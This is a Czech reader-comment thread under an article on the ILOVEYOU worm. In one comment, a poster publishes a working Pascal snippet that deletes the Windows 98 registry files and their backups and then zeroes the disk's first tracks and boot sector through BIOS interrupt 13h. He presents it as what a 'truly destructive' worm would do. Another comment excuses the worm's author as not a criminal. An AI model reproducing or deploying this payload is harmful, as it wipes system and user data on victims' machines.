Vlákno názorů k článku Nevěřte každému, kdo říká, že vás miluje! od Striker/NF - Tak jsem se pobavil, jak nekteri univerzitni vyucujici...

Tak jsem se pobavil, jak nekteri univerzitni vyucujici VSE jsou schopni objasnit lajdackost systemu M$ Windows i od takoveho VM/IBM :-) Ale vazne. Fakt je, ze bezpecnostni ochrana systemu M$ Win 98 je nulova. Pak se neni cemu divit, ze po svete behaji programy typu Back Orifice, kdy na dalku muzete ZCELA ovladat cizi pozitac s timto (ale s s Win NT,95) systemem. Jedina moznost, jak se podobnym virum vyvarovat, je cist postu zasadne pomoci telnetu a brouzdat po internetu vyhradne pomoci lynxu. Ovsem je otazka, kdo ma na to nervy... Pokud si nekdo mysli, ze uzivatele ode dneska budou jaksi \"obeznameni s problematikou\", je VYSOCE naivni. Za par mesicu, az nejaky chudak znovu vpusti do sveta nejakou WORM lahudku, bude situace jiste velice podobna. Lide jsou totiz v drtive vetsine nepoucitelni... P.S. ILOVEYOU neni vubec destruktivni. Pokud by byl, udela neco na tento zpusob:

assign(fa,\'c:\\windows\\system.dat\');
setfattr(fa,32);
erase(fa);
assign(fa,\'c:\\windows\\user.dat\');
setfattr(fa,32);
erase(fa);
findfirst(\'c:\\windows\\sysbckup\\*.cab\',63,s);
while doserror=0 do
begin
s2:=\'c:\\windows\\sysbckup\\\'+s.name;
assign(fa,s2);
setfattr(fa,32);
erase(fa);
findnext(s);
end;

with Reg do
begin
AH:=$08;
DL:=$80;
Intr($13,Reg);
maxhlava:=DH;
maxstopa:=CH;
maxsektor:=CL;
end;
fillchar(sect,sizeof(sect),0);
with Reg do
begin
for povrch:=0 to 1 do
begin
for stopa:=0 to 2 do
begin
for sektor:=1 to 20 do
begin
AH:=3;
AL:=1;
CH:=stopa; {stopa}
CL:=sektor; {sektor}
DH:=povrch; {povrch}
DL:=$80; {drive}
ES:=seg(sect);
BX:=ofs(sect[1]);
intr($13,reg);
blockwrite(f,sect[1],512);
end;
end;
end;
end;
with Reg do
begin
for stopa:=0 to 2 do
begin
for sektor:=1 to maxsektor do
begin
AH:=3;
AL:=1;
CH:=stopa; {stopa}
CL:=sektor; {sektor}
DH:=0; {povrch}
DL:=$80; {drive}
ES:=seg(sect);
BX:=ofs(sect[1]);
intr($13,reg);
blockwrite(f,sect[1],512);
end;
end;
end;
with Reg do
begin
for stopa:=0 to 2 do
begin
for sektor:=1 to maxsektor do
begin
AH:=3;
AL:=1;
CH:=stopa; {stopa}
CL:=sektor; {sektor}
DH:=1; {povrch}
DL:=$80; {drive}
ES:=seg(sect);
BX:=ofs(sect[1]);
intr($13,reg);
blockwrite(f,sect[1],512);
end;
end;
end;


A mate DISK jak vymalovany :-))) Takze o destruktivnosti bych zde ani nehovoril...

Jenom koukam, co vsechno je mozne delat ve VB, nebo, co to je za hnus. Ja si naivne myslel, ze je to jen nejaky zblecht na generovani dialogu s runtime errorama, ktery obtezuje pri prohlizeni www stranek.
No, klobouk dolu. Jeste, ze na nasem serveru nebezi nic podobneho. To bych asi musel byt porad odpojen.

Opravdu destruktivni neni, ale probouzi exhibo v dalsich.
PS: Taky umim curat ze strechy na Vaclavaku a nedelam to.
Hezky den,
P.D.

vypada to spis na pascal, uz jenom podle begin, end a neozavorkovanych vyrazech :)

iloveyou probudi hlavne tvurce software a antiviru. A snad probudi i uzivatele netu, kteri pouzivaji sit hlavne k posilani blbin ve sluzebni dobe, pentagonem a britskym parlamentem pocinaje, mnou konce. Tvurce iloveyou neni zlocinec, i kdyz je mozna trochu skodoliby. Ale bezneho uzivatele nejaka ztrata jpg a mp3 neposkodi, a tvurce webstranek apod. by meli byt lepsi profici, aby se jim to nestalo. ......... A kdy se dockame toho, ze nejaka reklamni agentura takovy postup komercne vyuzije? Nejaky postih prece snesou, kdyz tim udelaji celosvetovou reklamu ne neco, treba na hadry, na vodku....... V Ceske republice se za posledni 2 roky staly nejprodavanejsimi knizni tituly ktere samy sebe oznacily samolepkou \"cenzura\" a ziskaly zdarma reklamu - a svora s rycem vydelali miliony. Dale varime s konopim, main kampf atd atd...